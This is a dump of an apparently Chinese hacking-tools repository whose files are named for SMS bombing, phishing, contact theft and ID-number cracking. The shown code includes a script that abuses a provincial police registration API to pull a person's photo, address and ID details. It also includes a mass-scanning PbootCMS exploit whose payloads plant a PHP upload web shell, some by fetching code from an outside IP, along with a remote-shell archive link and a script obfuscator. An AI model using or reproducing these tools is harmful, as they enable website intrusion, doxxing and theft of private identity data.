├── README.md ├── bilibili免费大头.py ├── by_SethAion电话+短信轰炸.py ├── nc远程shell.zip ├── pb网站漏洞常用.py ├── shell仿js混淆.sh ├── shell工具箱开源.sh ├── 一键备份字库.sh ├── 三要素批量-7.py ├── 任意位补齐身份证②.py ├── 开源GLM4-Plus+画图.html ├── 核心转储.sh ├── 游戏内透模板.lua ├── 相册钓鱼.alp ├── 短信轰炸.sh ├── 自定义补齐身份证.py ├── 证件号任意位补齐.py └── 通讯录大盗.alp /README.md: -------------------------------------------------------------------------------- 1 | # 一个不起眼的代码源码库🧰 2 | 有Python shell lua等编程语言这些代码脚本或源代码!!! 3 | 进行开源或者搬运其他渠道分享! 4 | 注:alp是Andlua,导入安装即可 5 | 以及一些打包成zip源码 6 | 手机要运行py请使用qpython 7 | https://www.123pan.com/s/y3FtVv-vgTgv.html 8 | 9 | 10 | 爱发电:https://afdian.com/a/SethAionword 11 | -------------------------------------------------------------------------------- /bilibili免费大头.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | import base64 4 | import time 5 | import re 6 | 7 | # 定义常量 8 | LOGIN_API_URL = "http://api.haozhuma.com/sms/?api=login" 9 | GET_PHONE_API_URL = "http://api.haozhuma.com/sms/?api=getPhone" 10 | GET_MESSAGE_API_URL = "http://api.haozhuma.com/sms/?api=getMessage" 11 | CANCEL_RECV_API_URL = "http://api.haozhuma.com/sms/?api=cancelRecv" 12 | 13 | JSGA_SEND_SMS_URL = "https://zhza.jsga.gov.cn/bazx/ywtbPreSrv/sms/sendCommonDxyzm" 14 | JSGA_REG_USER_URL = "https://zhza.jsga.gov.cn/bazx/ywtbSrv/ywtb//user/regUser" 15 | JSGA_QUERY_PERSON_INFO_URL = "https://zhza.jsga.gov.cn/bazx/ywtbSrv/ywtb//grzx/queryPersonInfo" 16 | JSGA_DELETE_USER_URL = "https://zhza.jsga.gov.cn/bazx/ywtbSrv/ywtb//user/deleteUser" 17 | 18 | # 登录参数 19 | LOGIN_PARAMS = { 20 | 'user': 'li928640629', 21 | 'pass': 'li521314995' 22 | } 23 | 24 | def get_token(): 25 | response = requests.get(LOGIN_API_URL, params=LOGIN_PARAMS) 26 | if response.status_code == 200: 27 | try: 28 | return response.json()['token'] 29 | except json.JSONDecodeError as e: 30 | print(f"JSON 解析错误: {e}") 31 | else: 32 | print(f"请求失败,状态码: {response.status_code}") 33 | return None 34 | 35 | def get_phone_number(token, project_id): 36 | response = requests.get(f"{GET_PHONE_API_URL}&token={token}&sid={project_id}&author=LIhaiyang2") 37 | if response.status_code == 200: 38 | try: 39 | return response.json()['phone'] 40 | except KeyError: 41 | print("错误: 响应数据中不存在 'phone' 键。") 42 | else: 43 | print(f"请求失败,状态码: {response.status_code}") 44 | return None 45 | 46 | def send_sms_request(phone_number, name, id_number): 47 | payload = json.dumps({ 48 | "interfaceName": "sms/getDxyzm", 49 | "phone": phone_number, 50 | "startDxyzm": "您正在注册江苏保安在线小程序,验证码:", 51 | "endDxyzm": "", 52 | "xm": name, 53 | "gmsfhm": id_number, 54 | "template_type_code": "template_type_code_1" 55 | }) 56 | headers = { 57 | 'User-Agent': "Mozilla/5.0 (Linux; Android 9; 2101212C Build/TKQ1.210708.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/115.0.0.0 Mobile Safari/537.36 XWEB/1150056 MMWEBSDK/20231202 MMWEBID/4656 MicroMessenger/8.0.47.2560(0x28002F30) WeChat/arm64 Weixin NetType/5G Language/zh_CN ABI/arm64 miniProgram/wx66h88hh13846hbh", 58 | 'Accept': "application/json, text/plain, */*", 59 | 'Accept-Encoding': "gzip, deflate", 60 | 'Content-Type': "application/json", 61 | 'Origin': "https://zhza.jsga.gov.cn", 62 | 'X-Requested-With': "com.tencent.mm", 63 | 'Sec-Fetch-Site': "same-origin", 64 | 'Sec-Fetch-Mode': "cors", 65 | 'Sec-Fetch-Dest': "empty", 66 | 'Referer': "https://zhza.jsga.gov.cn/bazx/ywtbClient/ywtbClient/", 67 | 'Accept-Language': "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" 68 | } 69 | response = requests.post(JSGA_SEND_SMS_URL, data=payload, headers=headers) 70 | print(response.text) 71 | 72 | def pad_or_truncate_id(user_input_id): 73 | user_input_id = str(user_input_id) 74 | padding_length = 6 - len(user_input_id) 75 | if padding_length > 0: 76 | padded_id = user_input_id.ljust(6, '0') 77 | else: 78 | padded_id = user_input_id[:6] 79 | return padded_id 80 | 81 | def get_sms_code(token, project_id, phone_number): 82 | attempt_count = 0 83 | max_attempts = 7 84 | while attempt_count < max_attempts: 85 | response = requests.get(f"{GET_MESSAGE_API_URL}&token={token}&sid={project_id}&phone={phone_number}") 86 | response_data = response.json() 87 | if response_data['msg'] == "success": 88 | code = response_data['yzm'] 89 | return code 90 | elif response_data['msg'] in ["短信还未到达,请继续获取", "等待"]: 91 | time.sleep(3) 92 | attempt_count += 1 93 | else: 94 | print(f"发生错误: {response_data['msg']}") 95 | return None 96 | print("已达到最大尝试次数,短信可能未到达。") 97 | return None 98 | 99 | def register_user(phone_number, name, id_number, code, padded_id): 100 | payload = json.dumps({ 101 | "xm": name, 102 | "gmsfhm": id_number, 103 | "lxdh": phone_number, 104 | "xldm": "0", 105 | "mzdm": "1", 106 | "xzqhdm": padded_id, 107 | "xzzxz": "0", 108 | "wxXxzjbh": "wx66h88hh13846hbh", 109 | "dxyzm": code 110 | }) 111 | headers = { 112 | "User-Agent": "Mozilla/5.0 (Linux; Android 9; 2101212C Build/TKQ1.210708.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/115.0.0.0 Mobile Safari/537.36 XWEB/1150056 MMWEBSDK/20231202 MMWEBID/4656 MicroMessenger/8.0.47.2560(0x28002F30) WeChat/arm64 Weixin NetType/5G Language/zh_CN ABI/arm64 miniProgram/wx66h88hh13846hbh", 113 | "Accept": "application/json, text/plain, */*", 114 | "Accept-Encoding": "gzip, deflate", 115 | "Content-Type": "application/json", 116 | "Origin": "https://zhza.jsga.gov.cn", 117 | "X-Requested-With": "com.tencent.mm", 118 | "Sec-Fetch-Site": "same-origin", 119 | "Sec-Fetch-Mode": "cors", 120 | "Sec-Fetch-Dest": "empty", 121 | "Referer": "https://zhza.jsga.gov.cn/bazx/ywtbClient/ywtbClient/", 122 | "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" 123 | } 124 | response = requests.post(JSGA_REG_USER_URL, data=payload, headers=headers) 125 | print(response.text) 126 | 127 | def cancel_receive(token, project_id, phone_number): 128 | url = f"{CANCEL_RECV_API_URL}&token={token}&sid={project_id}&phone={phone_number}" 129 | response = requests.post(url) 130 | print(response.text) 131 | 132 | def query_person_info(id_number): 133 | payload = json.dumps({ 134 | "gmsfhm": id_number 135 | }) 136 | headers = { 137 | 'User-Agent': "Mozilla/5.0 (Linux; Android 9; 2101212C Build/TKQ1.210708.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/115.0.0.0 Mobile Safari/537.36 XWEB/1150056 MMWEBSDK/20231202 MMWEBID/4656 MicroMessenger/8.0.47.2560(0x28002F30) WeChat/arm64 Weixin NetType/5G Language/zh_CN ABI/arm64 miniProgram/wx66h88hh13846hbh", 138 | 'Accept': "application/json, text/plain, */*", 139 | 'Accept-Encoding': "gzip, deflate", 140 | 'Content-Type': "application/json", 141 | 'Origin': "https://zhza.jsga.gov.cn", 142 | 'X-Requested-With': "com.tencent.mm", 143 | 'Sec-Fetch-Site': "same-origin", 144 | 'Sec-Fetch-Mode': "cors", 145 | 'Sec-Fetch-Dest': "empty", 146 | 'Referer': "https://zhza.jsga.gov.cn/bazx/ywtbClient/ywtbClient/", 147 | 'Accept-Language': "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" 148 | } 149 | response = requests.post(JSGA_QUERY_PERSON_INFO_URL, data=payload, headers=headers) 150 | response_data = response.json() 151 | if 'result' in response_data and 'resultPerson' in response_data['result']: 152 | person_info = response_data['result']['resultPerson'] 153 | image_base64 = person_info['XP'] 154 | if image_base64: 155 | image_data = base64.b64decode(image_base64) 156 | name = person_info['XM'] 157 | current_path = f"{name}.jpg" 158 | with open(current_path, "wb") as image_file: 159 | image_file.write(image_data) 160 | print(current_path) 161 | return { 162 | 'sfzh': person_info.get('ALLGMSFHM'), 163 | 'name': person_info.get('XM'), 164 | 'xingbie': person_info.get('SEX'), 165 | 'minzu': person_info.get('MZ'), 166 | 'nyr': person_info.get('CSRQ'), 167 | 'dizhi': person_info.get('HJDZ_QHNXXDZ') 168 | } 169 | else: 170 | print("未获取到人员信息") 171 | return None 172 | 173 | def delete_user(id_number): 174 | payload = json.dumps({ 175 | "gmsfhm": id_number 176 | }) 177 | headers = { 178 | 'User-Agent': "Mozilla/5.0 (Linux; Android 9; 2101212C Build/TKQ1.210708.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/115.0.0.0 Mobile Safari/537.36 XWEB/1150056 MMWEBSDK/20231202 MMWEBID/4656 MicroMessenger/8.0.47.2560(0x28002F30) WeChat/arm64 Weixin NetType/5G Language/zh_CN ABI/arm64 miniProgram/wx66h88hh13846hbh", 179 | 'Accept': "application/json, text/plain, */*", 180 | 'Accept-Encoding': "gzip, deflate", 181 | 'Content-Type': "application/json", 182 | 'Origin': "https://zhza.jsga.gov.cn", 183 | 'X-Requested-With': "com.tencent.mm", 184 | 'Sec-Fetch-Site': "same-origin", 185 | 'Sec-Fetch-Mode': "cors", 186 | 'Sec-Fetch-Dest': "empty", 187 | 'Referer': "https://zhza.jsga.gov.cn/bazx/ywtbClient/ywtbClient/", 188 | 'Accept-Language': "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" 189 | } 190 | response = requests.post(JSGA_DELETE_USER_URL, data=payload, headers=headers) 191 | print(response.text) 192 | 193 | # 主程序逻辑 194 | token = get_token() 195 | if token: 196 | project_id = '80657' 197 | phone_number = get_phone_number(token, project_id) 198 | if phone_number: 199 | combined_input = input("请输入 名字的值和身份证的值,用空格分隔: ") 200 | pattern = r"^([\u4e00-\u9fa5]+)?\s(\d{17}[\dX])$" 201 | match = re.match(pattern, combined_input) 202 | if match: 203 | name = match.group(1) 204 | id_number = match.group(2) 205 | send_sms_request(phone_number, name, id_number) 206 | padded_id = pad_or_truncate_id(id_number) 207 | code = get_sms_code(token, project_id, phone_number) 208 | if code: 209 | register_user(phone_number, name, id_number, code, padded_id) 210 | person_info = query_person_info(id_number) 211 | if person_info: 212 | print(f"身份证: {person_info['sfzh']}") 213 | print(f"姓名: {person_info['name']}") 214 | print(f"性别: {person_info['xingbie']}") 215 | print(f"民族: {person_info['minzu']}") 216 | print(f"生日: {person_info['nyr']}") 217 | print(f"地址: {person_info['dizhi']}") 218 | delete_user(id_number) 219 | cancel_receive(token, project_id, phone_number) 220 | else: 221 | print("输入格式错误,请确保名字和身份证号码符合规定的格式。") 222 | -------------------------------------------------------------------------------- /nc远程shell.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SethAion/An_unremarkable-Codesource-library/f8de3da50af99d2447d6cd9b44873af3d7c7d71e/nc远程shell.zip -------------------------------------------------------------------------------- /pb网站漏洞常用.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3 import disable_warnings 3 | import threading 4 | import random 5 | import string 6 | 7 | disable_warnings() 8 | 9 | class PbootEXP(): 10 | name = "PbootEXP" 11 | 12 | def get_random_filename(self): 13 | return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) + '.php' 14 | 15 | def getshell(self, url, payload): 16 | random_filename = self.get_random_filename() 17 | exp = url.strip() + payload.format(random_filename) 18 | headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0'} 19 | exp1 = url.strip() + "/core/" + random_filename 20 | try: 21 | res = requests.get(url=exp, headers=headers, timeout=10, verify=False) 22 | res1 = requests.get(url=exp1, headers=headers, timeout=10, verify=False) 23 | if "1c6498e156c86f6f3a48a30a828c9b67" in res1.text: 24 | print("[+]{0}".format(url.strip())) 25 | with open("pboot_shell.txt", "a") as f: 26 | f.write(exp1 + "\n") 27 | else: 28 | print("[-]漏洞不存在") 29 | except Exception as e: 30 | print("[-]请求失败") 31 | with open("error.txt", "a") as fa: 32 | fa.write(url.strip() + "\n") 33 | 34 | obj = PbootEXP() 35 | 36 | def thread_function(url, payload): 37 | obj.getshell(url, payload) 38 | 39 | if __name__ == "__main__": 40 | 41 | inFile = input("输入文件:") 42 | num_threads = int(input("输入线程数:")) 43 | 44 | payloads = [ 45 | "/?tag&tagstpl=news.html&tag=%7Bpbohome/Indexot:if((get/*-*/(/**/t))/**/(get/*-*/(/**/t1),get/*-*/(/**/t2)(get/*-*/(/**/t3))))%7Dok%7B/pbohome/Indexot:if%7D&t=file_put_contents&t1=core/{0}&t2=file_get_contents&t3=http://20.2.85.7/up.txt", 46 | "/?tag&tagstpl=about.html&tag={pbohome/Indexot:if((get/*-*/(/**/t))/**/(get/*-*/(/**/t1),get/*-*/(/**/t2)(get/*-*/(/**/t3))))}ok{/pbohome/Indexot:if}&t=file_put_contents&t1=core/{0}&t2=file_get_contents&t3=http://20.2.85.7/up.txt", 47 | "/?tag&tagstpl=news.html&{pboot:if((\x22file_put_co\x22.\x22ntents\x22)(\x22core/{0}\x22,(\x22base6\x22.\x224_decode\x22)(\x22MWM2NDk4ZTE1NmM4NmY2ZjNhNDhhMzBhODI4YzliNjdGcl9xYWtlcjw/cGhwIGVjaG8gJzxwcmU+Jy5waHBfdW5hbWUoKS4iXG4iLic8YnIvPjxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9Il9fIj48aW5wdXQgbmFtZT0iXyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JztpZigkX1BPU1Qpe2lmKEBjb3B5KCRfRklMRVNbJ19fJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ19fJ11bJ25hbWUnXSkpe2VjaG8gJ09LJzt9ZWxzZXtlY2hvICdFUic7fX0/Pg==\x22)))}ok{/pboot:if}", 48 | "/?member/login/klmns}{pboot:if(1);use/**/function/**/fputs/**/as/**/test;use/**/function/**/fopen/**/as/**/klmj0;use/**/function/**/get/**/as/**/klmj99;use/**/function/**/hex2bin/**/as/**/klmj66;test(klmj0(klmj99('ll'),'w'),klmj66(klmj99('txt')));if(2)}{/pboot:if}&ll=core/{0}&txt=316336343938653135366338366636663361343861333061383238633962363746725f71616b65723c3f706870206563686f20273c7072653e272e7068705f756e616d6528292e225c6e222e273c62722f3e3c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e3c696e70757420747970653d2266696c6522206e616d653d225f5f223e3c696e707574206e616d653d225f2220747970653d227375626d6974222076616c75653d2255706c6f6164223e3c2f666f726d3e273b696628245f504f5354297b69662840636f707928245f46494c45535b275f5f275d5b27746d705f6e616d65275d2c20245f46494c45535b275f5f275d5b276e616d65275d29297b6563686f20274f4b273b7d656c73657b6563686f20274552273b7d7d3f3e", 49 | "/?member/login/aaaaaa}{pboot:if(true);use/**/function/**/fputs/**/as/**/test;use/**/function/**/fopen/**/as/**/test1;use/**/function/**/get/**/as/**/test3;use/**/function/**/hex2bin/**/as/**/test4;test(test1(test3('file'),'w'),test4(test3('content')));if(true)}{/pboot:if}&file=core/{0}&content=316336343938653135366338366636663361343861333061383238633962363746725f71616b65723c3f706870206563686f20273c7072653e272e7068705f756e616d6528292e225c6e222e273c62722f3e3c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e3c696e70757420747970653d2266696c6522206e616d653d225f5f223e3c696e707574206e616d653d225f2220747970653d227375626d6974222076616c75653d2255706c6f6164223e3c2f666f726d3e273b696628245f504f5354297b69662840636f707928245f46494c45535b275f5f275d5b27746d705f6e616d65275d2c20245f46494c45535b275f5f275d5b276e616d65275d29297b6563686f20274f4b273b7d656c73657b6563686f20274552273b7d7d3f3e", 50 | "/?sss}{pboot:if(true);use/**/function/**/fputs/**/as/**/sqlite;use/**/function/**/fopen/**/as/**/sqlite1;use/**/function/**/get/**/as/**/sqlite3;use/**/function/**/hex2bin/**/as/**/sqlite4;sqlite(sqlite1(sqlite3('file'),'w'),sqlite4(sqlite3('content')));if(true)}{/pboot:if}&file=core/{0}&content=316336343938653135366338366636663361343861333061383238633962363746725f71616b65723c3f706870206563686f20273c7072653e272e7068705f756e616d6528292e225c6e222e273c62722f3e3c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e3c696e70757420747970653d2266696c6522206e616d653d225f5f223e3c696e707574206e616d653d225f2220747970653d227375626d6974222076616c75653d2255706c6f6164223e3c2f666f726d3e273b696628245f504f5354297b69662840636f707928245f46494c45535b275f5f275d5b27746d705f6e616d65275d2c20245f46494c45535b275f5f275d5b276e616d65275d29297b6563686f20274f4b273b7d656c73657b6563686f20274552273b7d7d3f3e", 51 | ] 52 | 53 | with open(inFile, encoding='utf-8', errors='ignore') as f: 54 | keys = [line.strip() for line in f] 55 | 56 | threads = [] 57 | for payload in payloads: 58 | for key in keys: 59 | while threading.active_count() > num_threads: 60 | pass 61 | thread = threading.Thread(target=thread_function, args=(key, payload)) 62 | threads.append(thread) 63 | thread.start() 64 | 65 | for thread in threads: 66 | thread.join() -------------------------------------------------------------------------------- /shell仿js混淆.sh: -------------------------------------------------------------------------------- 1 | #!/system/bin/shprintf 2 | 请输入文件路径:read -r File[ ! -f "$File" ] && printf 文件不存在! && exitfile "$File" | grep -q ELF && printf 不支持二进制! && exitmv -f "$File" "$File.bak"sed '/^[[:space:]]*#/d ;/^[[:space:]]*$/d ;s/^[[:space:]]*//g ;s/[[:space:]]*$//g ;s/ \#.*//g ;s/*[[:space:]]\;[[:space:]]*//g' "$File.bak" | tr \\n \; | sed 's/\;\:/\n\:/g' | sed -e "s/'EOF'\;/'EOF'\n/g" -e 's/"EOF"\;/"EOF"\n/g ;s/\;EOF\;/\nEOF\n/g ;s/ EOF\;/ EOF\n/g ;s/\;\;\;/\;\;/g ;s/until\;/until /g ;s/then\;/then /g ;s/else\;/else /g ;s/do\;/do /g ;s/ in\;/ in /g ;s/{;/{ /g ;s/);/)\n/g ;s/\&\;/\&\n/g ;s/\;\;\;/\;\;/g ;s/[0-9a-zA-Z]/&\\\n/g ;s/E\\\nO\\\nF\\\n/EOF/g' > "$File" -------------------------------------------------------------------------------- /shell工具箱开源.sh: -------------------------------------------------------------------------------- 1 | echo -e "\033[2J\033[H" 2 | color_code=$((1 + RANDOM % 7)) 3 | case $color_code in 4 | 1) color="\033[31m";; # 红色 5 | 2) color="\033[32m";; # 绿色 6 | 3) color="\033[33m";; # 黄色 7 | 4) color="\033[34m";; # 蓝色 8 | 5) color="\033[35m";; # 紫色 9 | 6) color="\033[36m";; # 青色 10 | 7) color="\033[37m";; # 白色 11 | esac 12 | echo -e "${color}" 13 | echo -e ' 14 |             へ     /| 15 |    人       /\7   ∠_/ 16 |    有       / │   / / 17 |    悲 月    │ Z _,< /   /`ヽ 18 |    欢 有    │     ヽ   /  〉 19 |    离 阴     Y      `  / / 20 |    合 晴    イ● 、 ●  ⊂⊃ 〈   21 |      圆    ()  へ    | \〈 22 |      缺     >ー 、_  ィ  │ // 23 |            / へ   / ノ<| \\ 24 |            ヽ_ノ  (_/  │// 25 |            /   |/ 26 |            >―r ̄ ̄`ー―_ | 27 | 28 | 29 | 此事古难全,但愿人长久,千里共婵娟。 30 | +----------------------------------------------------------------------------------------------------------------+ 31 | 32 | TG:@SethAionword 33 | 34 | by:SethAion 技术支持:Killed_Shell_Group#你自己添 35 | 36 | 37 | 38 | 39 | +----------------------------------------------------------------------------------------------------------------+ 40 | 41 | ' 42 | color_reset="\e[0m" 43 | color_red="\e[41m" 44 | color_yellow="\e[43m" 45 | color_green="\e[42m" 46 | color_blue="\e[44m" 47 | color_cyan="\e[46m" 48 | 49 | # 定义颜色数组 50 | colors=($color_red $color_yellow $color_green $color_blue $color_cyan) 51 | 52 | # 设置进度条的宽度和颜色数 53 | progress_width=40 54 | num_colors=${#colors[@]} 55 | 56 | # 定义函数,用于打印彩色进度条 57 | print_progress() { 58 | local percentage=$1 59 | local completed=$((percentage * progress_width / 100)) 60 | local remaining=$((progress_width - completed)) 61 | 62 | # 计算当前颜色 63 | local color_index=$((percentage * num_colors / 100)) 64 | local current_color="${colors[$color_index]}" 65 | 66 | # 打印进度条 67 | printf "\r${current_color}%*s${color_reset}%*s %d%%" $completed '' $remaining '' "$percentage" 68 | 69 | # 刷新输出缓冲区 70 | if [ $percentage -eq 100 ]; then 71 | echo "" 72 | fi 73 | } 74 | 75 | # 定义函数,用于更新进度并递归调用自身 76 | update_progress() { 77 | local percentage=$1 78 | 79 | if [ $percentage -le 100 ]; then 80 | print_progress $percentage 81 | ## sleep 0.1 82 | 83 | # 增加进度百分比,递归调用自身 84 | update_progress $((percentage + 1)) 85 | fi 86 | } 87 | 88 | file_path="/data/local/tmp/zjty" 89 | if [ -e "$file_path" ]; then 90 | echo -e "${color}\n" 91 | else 92 | url="https://zjty456.oss-cn-hangzhou.aliyuncs.com/zjty" 93 | output_file="/data/local/tmp/zjty" 94 | curl -o $output_file $url 95 | fi 96 | 97 | folder_name="lsml" 98 | directory_path="/data/local/" 99 | # 创建文件夹 100 | mkdir -p "$directory_path/$folder_name" 101 | 102 | # 检查是否成功创建文件夹 103 | if [ $? -eq 0 ]; then 104 | sleep 0.01 105 | else 106 | echo "初始化失败" 107 | exit 108 | fi 109 | banben="V7.0" 110 | url="https://zjty456.oss-cn-hangzhou.aliyuncs.com/banben" 111 | output_file="/data/local/lsml/banben" 112 | curl -s -o $output_file $url 113 | file_content=$(cat "$output_file") 114 | if [ "$file_content" != "$banben" ]; then 115 | echo "是否进入(y/n)" 116 | read update_choice 117 | if [ "$update_choice" == "n" ]; then 118 | echo" 下次再见" 119 | else 120 | echo "正在初始化" 121 | fi 122 | fi 123 | 124 | 125 | 126 | update_progress 0 127 | echo "\n 初始化成功" 128 | sleep 0.3 129 | echo -e "${color}\n\n" 130 | 131 | echo -e "\033[2J\033[H" 132 | ## ## -------------------------------------------------------- 133 | color_code=$((2 + RANDOM % 1)) 134 | case $color_code in 135 | 1) color="\033[31m";; # 红色 136 | 2) color="\033[32m";; # 绿色 137 | 3) color="\033[33m";; # 黄色 138 | 4) color="\033[34m";; # 蓝色 139 | 5) color="\033[35m";; # 紫色 140 | 6) color="\033[36m";; # 青色 141 | 7) color="\033[37m";; # 白色 142 | esac 143 | echo -e "${color}" 144 | 145 | echo -e "+----------------------------------------------------------------------------------------------------------------+" 146 | 147 | echo -e "→ 当前版本:$banben \n" 148 | 149 | url="https://zjty456.oss-cn-hangzhou.aliyuncs.com/yc1" 150 | output_file="/data/local/lsml/yc1" 151 | curl -s -o $output_file $url 152 | yc1=$( "$file_path" 251 | echo "检测到第一次使用,安装完成请重新打开" 252 | exit 253 | fi 254 | echo "请输入选项" 255 | 256 | 257 | ## ------------------------------------------------------- 258 | read choice 259 | if [ $choice == "J1" ]; then ## //选项一 260 | 261 | input_111=0 262 | progress=$((input_111 * 100 / 300)) 263 | color_reset="\e[0m" 264 | color_red="\e[41m" 265 | color_yellow="\e[43m" 266 | color_green="\e[42m" 267 | color_blue="\e[44m" 268 | color_cyan="\e[46m" 269 | colors=($color_red $color_yellow $color_green $color_blue $color_cyan) 270 | progress_width=40 271 | num_colors=${#colors[@]} 272 | print_progress() { 273 | local percentage=$1 274 | local completed=$((percentage * progress_width / 100)) 275 | local remaining=$((progress_width - completed)) 276 | 277 | if [ $percentage -ne 0 ] && [ $percentage -ne 100 ]; then 278 | local color_index=$((percentage * num_colors / 100)) 279 | local current_color="${colors[$color_index]}" 280 | 281 | printf "\r${current_color}%*s${color_reset}%*s %d%%" $completed '' $remaining '' "$percentage" 282 | fi 283 | 284 | if [ $percentage -eq 100 ]; then 285 | echo "" 286 | fi 287 | } 288 | update_progress() { 289 | local percentage=$1 290 | if [ $percentage -le 100 ]; then 291 | print_progress $percentage 292 | fi 293 | } 294 | echo "你选择了gzexe变种" 295 | echo "请输入文件路径:" 296 | read input_directory 297 | if [ ! -f "$input_directory" ]; then 298 | echo "错误!没找到文件" 299 | exit 1 300 | fi 301 | input_file=$(basename "$input_directory") 302 | dir_size=0 303 | update_progress $progress & 304 | while [ $dir_size -eq 0 ]; do 305 | tail -n +$input_111 "$input_directory" 2>/dev/null | gzip -cd 2>/dev/null >"⭐️J1$input_file" 306 | input_666="⭐️J1$input_file" 307 | dir_size=$(du -s "$input_666" | cut -f1) 308 | 309 | if [ $dir_size -eq 0 ]; then 310 | rm -r "$input_666" 311 | if [ $input_111 -gt 300 ]; then 312 | echo "扫描完成未能找到解密部分!" 313 | exit 1 314 | else 315 | 316 | ((input_111++)) 317 | progress=$((input_111 * 100 / 300)) 318 | update_progress $progress 319 | fi 320 | else 321 | echo "解密完成已保存当前目录:⭐️J1$input_file" 322 | exit 1 323 | fi 324 | done 325 | 326 | ## ------------------------------------------------------- 327 | elif [ $choice == "J2" ]; then ## //选项2 328 | 329 | input_111=0 330 | progress=$((input_111 * 100 / 300)) 331 | color_reset="\e[0m" 332 | color_red="\e[41m" 333 | color_yellow="\e[43m" 334 | color_green="\e[42m" 335 | color_blue="\e[44m" 336 | color_cyan="\e[46m" 337 | colors=($color_red $color_yellow $color_green $color_blue $color_cyan) 338 | progress_width=40 339 | num_colors=${#colors[@]} 340 | print_progress() { 341 | local percentage=$1 342 | local completed=$((percentage * progress_width / 100)) 343 | local remaining=$((progress_width - completed)) 344 | 345 | if [ $percentage -ne 0 ] && [ $percentage -ne 100 ]; then 346 | local color_index=$((percentage * num_colors / 100)) 347 | local current_color="${colors[$color_index]}" 348 | 349 | printf "\r${current_color}%*s${color_reset}%*s %d%%" $completed '' $remaining '' "$percentage" 350 | fi 351 | 352 | if [ $percentage -eq 100 ]; then 353 | echo "" 354 | fi 355 | } 356 | update_progress() { 357 | local percentage=$1 358 | if [ $percentage -le 100 ]; then 359 | print_progress $percentage 360 | fi 361 | } 362 | echo "你选择了混合加密" 363 | echo "请输入文件路径:" 364 | read input_directory 365 | if [ ! -f "$input_directory" ]; then 366 | echo "错误!没找到文件" 367 | exit 1 368 | fi 369 | input_file=$(basename "$input_directory") 370 | dir_size=0 371 | update_progress $progress & 372 | while [ $dir_size -eq 0 ]; do 373 | tail -n +$input_111 "$input_directory" 2>/dev/null | gzip -cd 2>/dev/null | base64 -d >"⭐️J2$input_file" 374 | input_666="⭐️J2$input_file" 375 | dir_size=$(du -s "$input_666" | cut -f1) 376 | 377 | if [ $dir_size -eq 0 ]; then 378 | rm -r "$input_666" 379 | if [ $input_111 -gt 300 ]; then 380 | echo "扫描完成未能找到解密部分!" 381 | exit 1 382 | else 383 | 384 | ((input_111++)) 385 | progress=$((input_111 * 100 / 300)) 386 | update_progress $progress 387 | fi 388 | else 389 | echo "解密完成已保存当前目录:⭐️J2$input_file" 390 | exit 1 391 | fi 392 | done 393 | 394 | ## ------------------------------------------------------- 395 | elif [ $choice == "J4" ]; then ## //选项4 396 | echo "你选择了定量包配对" 397 | echo "请输入文件路径" 398 | read input_directory ## //输入文件变量 399 | input_file=$(basename "$input_directory") ## //取出文件名 400 | 401 | echo "当前文件:$input_file" 402 | output_file="抽取变量.txt" # 替换为你的输出文件名 403 | # 清空原有内容 404 | > $output_file 405 | 406 | # 使用正则表达式匹配并保存符合条件的内容,并加入连续遍历判断 407 | continuous_match=0 408 | while IFS= read -r line; do 409 | # 使用grep匹配以$开头后面跟着3-8个大小写字母的字符串 410 | matched_content=$(echo "$line" | grep -Eo '\$[a-zA-Z]{3,8}') 411 | if [ ! -z "$matched_content" ]; then 412 | echo "$matched_content" >> $output_file 413 | continuous_match=1 # 连续匹配到所需内容 414 | elif [ $continuous_match -eq 1 ]; then 415 | break # 如果未匹配到所需内容且之前连续匹配到过,则结束遍历 416 | fi 417 | done < "$input_file" 418 | 419 | 420 | file="$output_file" 421 | 422 | # 使用 stat 命令获取文件大小(字节数) 423 | file_size=$(stat -c %s "$file") 424 | 425 | # 判断文件大小是否大于 200 字节 426 | if [ "$file_size" -gt 50 ]; then 427 | 428 | 429 | echo "抽取成功开始执行 $output_file" 430 | 431 | keys=$(<"$output_file") 432 | # 初始化结果字符串 433 | result="" 434 | # 逐个提取关键字对应的值并转换为十六进制表示 435 | for key in $(echo "$keys" | tr '$' '\n'); do 436 | echo "已找到 keyword: $key" 437 | 438 | value=$(awk -v key="$key" 'BEGIN{RS="\""} /'"$key"'/ {getline; print}' "$input_file") 439 | 440 | if [ -n "$value" ]; then 441 | # 将值转换为十六进制表示 442 | hex_value=$(echo -n "$value" | xxd -p) 443 | echo "Matched value for $key: $hex_value" # 恢复打印匹配值的操作 444 | result="${result}${hex_value}" 445 | else 446 | echo "No match found for $key" 447 | fi 448 | done 449 | 450 | echo "$result" > 444 451 | rm -r "$output_file" 452 | xxd -r -p 444 > "⭐️J4$input_file" 453 | rm 444 454 | 455 | echo "已保存当前目录:⭐️J4$input_file" 456 | else 457 | echo "抽离失败了!" 458 | rm -r "$file" 459 | fi 460 | ## ------------------------------------------------------- 461 | elif [ $choice == "J3" ]; then ## //选项3 462 | echo "你选择了定量包解密" 463 | echo "请输入文件路径:" 464 | read filepath 465 | 466 | if [ ! -f "$filepath" ]; then 467 | echo "错误:文件不存在!" 468 | exit 1 469 | fi 470 | mulu=$(basename "$filepath") 471 | 